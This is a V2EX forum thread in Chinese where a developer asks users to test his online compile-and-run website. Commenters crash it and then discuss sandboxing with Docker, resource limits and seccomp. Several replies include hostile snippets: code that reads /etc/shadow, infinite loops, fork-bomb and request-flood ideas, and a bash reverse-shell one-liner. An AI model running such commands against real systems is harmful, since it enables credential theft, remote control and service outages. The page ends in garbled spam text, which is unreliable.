v2 的高手们,帮忙测试下这个在线编译网站 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
ykjsw
V2EX    分享创造

v2 的高手们,帮忙测试下这个在线编译网站

  •  
  •   ykjsw 2016-04-01 16:14:57 +08:00 4779 次点击
    这是一个创建于 3486 天前的主题,其中信息可能已经有所发展或是发生改变。
    在线编译执行,这里的人会玩,帮忙测试下稳定不。

    http://compiler.jser.com/
    第 1 条附言    2016-04-01 23:04:21 +08:00
    把我服务器弄死的兄弟,能把过程发到我邮箱吗? jsw#live.com 谢谢

    目前所知的我的几点问题
    1 不该用 root 跑 docker
    2 未限制每个 docker 的资源
    3 程序对危险函数未做处理。
    43 条回复    2016-04-02 16:22:41 +08:00
    ykjsw
        1
    ykjsw  
    OP
       2016-04-01 16:18:29 +08:00
    谁这么狠。。。
    <?php
    while(True){
    pass;
    }
    liqingcan
        2
    liqingcan  
       2016-04-01 16:36:15 +08:00 via Android
    @ykjsw 你一说我马上就各种语言的死循环各来一遍了。。
    dixyes
        3
    dixyes  
       2016-04-01 16:44:22 +08:00
    #include <stdlib.h>
    int main ()
    {system("cat /etc/shadow");return 0;}
    可怕
    dixyes
        4
    dixyes  
       2016-04-01 16:45:30 +08:00
    @ykjsw 这么玩可不行 容易做大死
    Havee
        5
    Havee  
       2016-04-01 16:48:53 +08:00
    弄不到 root 权限让它关机啊
    ykjsw
        6
    ykjsw  
    OP
       2016-04-01 16:51:20 +08:00
    @liqingcan 。。。干得漂亮
    ykjsw
        7
    ykjsw  
    OP
       2016-04-01 16:52:35 +08:00
    @dixyes 。。。。我想想办法
    UnisandK
        8
    UnisandK  
       2016-04-01 16:55:15 +08:00
    试试递归 POST 怎么样?每个实例 while true 执行 POST 模拟“编译”的请求,请求编译的内容即执行这个循环代码本身,这样实例的数量会直接几何增长
    am241
        9
    am241  
       2016-04-01 16:55:33 +08:00
    @Havee
    whoami

    root


    “有错误发生”已经被玩死了?
    wph95
        10
    wph95  
       2016-04-01 16:55:46 +08:00
    :)
    不知道是不是爆破成功 反正已经很卡了 快去修吧
    ykjsw
        11
    ykjsw  
    OP
       2016-04-01 16:56:28 +08:00
    我错了,刚刚关掉了,改天再来和你们玩。。。
    ahcat
        12
    ahcat  
       2016-04-01 16:56:28 +08:00
    上不了了
    wph95
        13
    wph95  
       2016-04-01 16:56:59 +08:00
    @ykjsw 快开起来呀 fork 炸弹还没扔呢 =、=
    dixyes
        14
    dixyes  
       2016-04-01 16:57:25 +08:00   1
    @ykjsw chroot 看好环境变量 禁用掉 system 一类的函数 或者 selinux
    ykjsw
        15
    ykjsw  
    OP
       2016-04-01 16:58:46 +08:00
    @wph95 不开
    wph95
        16
    wph95  
       2016-04-01 16:58:47 +08:00
    @dixyes 并没有说起来那么简单的,像 php java 这种丧病语言 system 调用各种多,做个白名单非常麻烦的,随便砍系统调用,调用库 分分钟出现奇怪的 RE 。
    wph95
        17
    wph95  
       2016-04-01 16:59:20 +08:00
    @ykjsw 我手上一一坨的爆破 oj 的代码-。- 快开起来 我免费帮你测试:)
    dixyes
        18
    dixyes  
       2016-04-01 17:00:43 +08:00
    @wph95 嘛 不如只做编译 别运行了 SELinux 把重要的玩意 enforce 掉不好么
    wph95
        19
    wph95  
       2016-04-01 17:01:48 +08:00
    @dixyes python 这种动态语言木有编译环节
    SwimmingTiger
        20
    SwimmingTiger  
       2016-04-01 17:04:08 +08:00
    开个虚拟机在里面运行啊。虚拟机挂掉了自动重启~
    gamexg
        21
    gamexg  
       2016-04-01 17:04:36 +08:00 via Android
    @dixyes 禁函数效果不好, sae php 都被乌云报过安全环境逃逸, docker 之类的系统级安全限制比较可靠些,内核 bug 才会出现问题。还可以实现限制 cpu 内存等资源。
    ipeony
        22
    ipeony  
       2016-04-01 17:04:43 +08:00
    打不开了?江苏电信
    dixyes
        23
    dixyes  
       2016-04-01 17:05:20 +08:00
    @wph95 撸成 pyc 给个链接 拍黄片撸成 phar 啥的 然而我萌讨论并卵
    ykjsw
        24
    ykjsw  
    OP
       2016-04-01 17:11:27 +08:00
    现在机器已经起不来了, docker 刚刚用,也没隔离好,感谢大家给我上了一课。
    yvanhe
        25
    yvanhe  
       2016-04-01 17:24:44 +08:00
    看到标题就知道会发生什么了:joy:
    droiz
        26
    droiz  
       2016-04-01 17:38:06 +08:00
    打不开啊 ,已经被玩坏了吗
    davidx
        27
    davidx  
       2016-04-01 20:29:03 +08:00
    我来晚了么...
    twor2
        28
    twor2  
       2016-04-01 20:35:47 +08:00
    测试圆满成功
    SlipStupig
        29
    SlipStupig  
       2016-04-01 22:09:24 +08:00
    bash -i >& /dev/tcp/your ip/your port 0>&1 解决控制系统
    techmoe
        30
    techmoe  
       2016-04-01 22:39:11 +08:00
    2333333
    virusdefender
        31
    virusdefender  
       2016-04-01 22:40:34 +08:00
    哈哈哈哈 已经卡死了啊

    快来用我的判题沙箱 https://github.com/QingdaoU/Judger
    virusdefender
        32
    virusdefender  
       2016-04-01 22:43:02 +08:00
    我这里还有整套的 OnlineJudge 解决方案 https://github.com/QingdaoU/OnlineJudge

    同求测试 https://qduoj.com/problems/ 账号 v2ex(都是小写) 密码 123456
    denghongcai
        33
    denghongcai  
       2016-04-01 22:51:59 +08:00   1
    docker 里跑, LXC 把资源限制死,容器大小用 brtfs 策略限制或者直接用 devicemapper 做底层驱动
    virusdefender
        34
    virusdefender  
       2016-04-01 23:08:34 +08:00
    1 不该用 root 跑 docker

    docker 好像必须 root 吧,你说的 docker 里面么?那个可以使用降权用户的。

    2 未限制每个 docker 的资源

    这个是的

    3 程序对危险函数未做处理。

    危险函数是过滤不完的,过滤系统调用最简单。

    ---

    我没看到你的网站,能编译 C/C++么,有些代码可以卡死编译器的。
    ykjsw
        35
    ykjsw  
    OP
       2016-04-01 23:11:57 +08:00
    @virusdefender c\c++ python lua java swift 等,基本常见的都可以跑

    不是 docker 守护近程,是执行的那个,可以用其他用户跑的,我是因为一个权限问题,偷懒,直接改成 root 跑了

    3 嗯,确实不可能 disable 完,我看到有个用禁止 sys_call 的方法(好像这么叫),但不知道怎么弄。。。
    virusdefender
        36
    virusdefender  
       2016-04-01 23:17:07 +08:00
    ykjsw
        37
    ykjsw  
    OP
       2016-04-01 23:22:43 +08:00
    vm
        38
    vm  
       2016-04-01 23:40:38 +08:00 via Android   1
    @ykjsw 禁用 syscall 是用 seccomp
    xiaozi
        39
    xiaozi  
       2016-04-01 23:56:19 +08:00
    livc
        40
    livc  
       2016-04-02 00:47:27 +08:00 via Android
    @wph95 求爆破 oj 代码
    #outlook.com
    wph95
        41
    wph95  
       2016-04-02 11:12:05 +08:00   2
    @ykjsw virusdefender 的方案是不错的
    但是如果你支持的语言越多 seccomp 白名单就得做的越多
    白名单是很不靠谱的,非常容易误杀掉语言的一些特性。
    比如你把 fork 给 ban 掉, java 性能锐减,而且会出现很多奇怪的错误。
    用 docker 自身安全就好。
    昨天我就随便写了个 fork 炸弹,目测就把你这个东西炸坏了。
    // docker 1.10 防 fork 炸弹真心方便,想当年 1.0 时代。。。。
    用 root 跑 docker ,这个真没有问题,就算你是用 docker 组的用户,他要是跑出来都是能修改 cgroups 的
    问题在千万不要 docker 不安全容器用 root 权限执行,是一个大幅度提升危险的举措。
    tuuuz
        42
    tuuuz  
       2016-04-02 12:53:23 +08:00
    哈哈 评论看下来充满喜感
    bwangel
        43
    bwangel  
       2016-04-02 16:22:41 +08:00
    我去,看起来好腻害!
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2596 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 30ms UTC 04:53 PVG 12:53 LAX 21:53 JFK 00:53
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86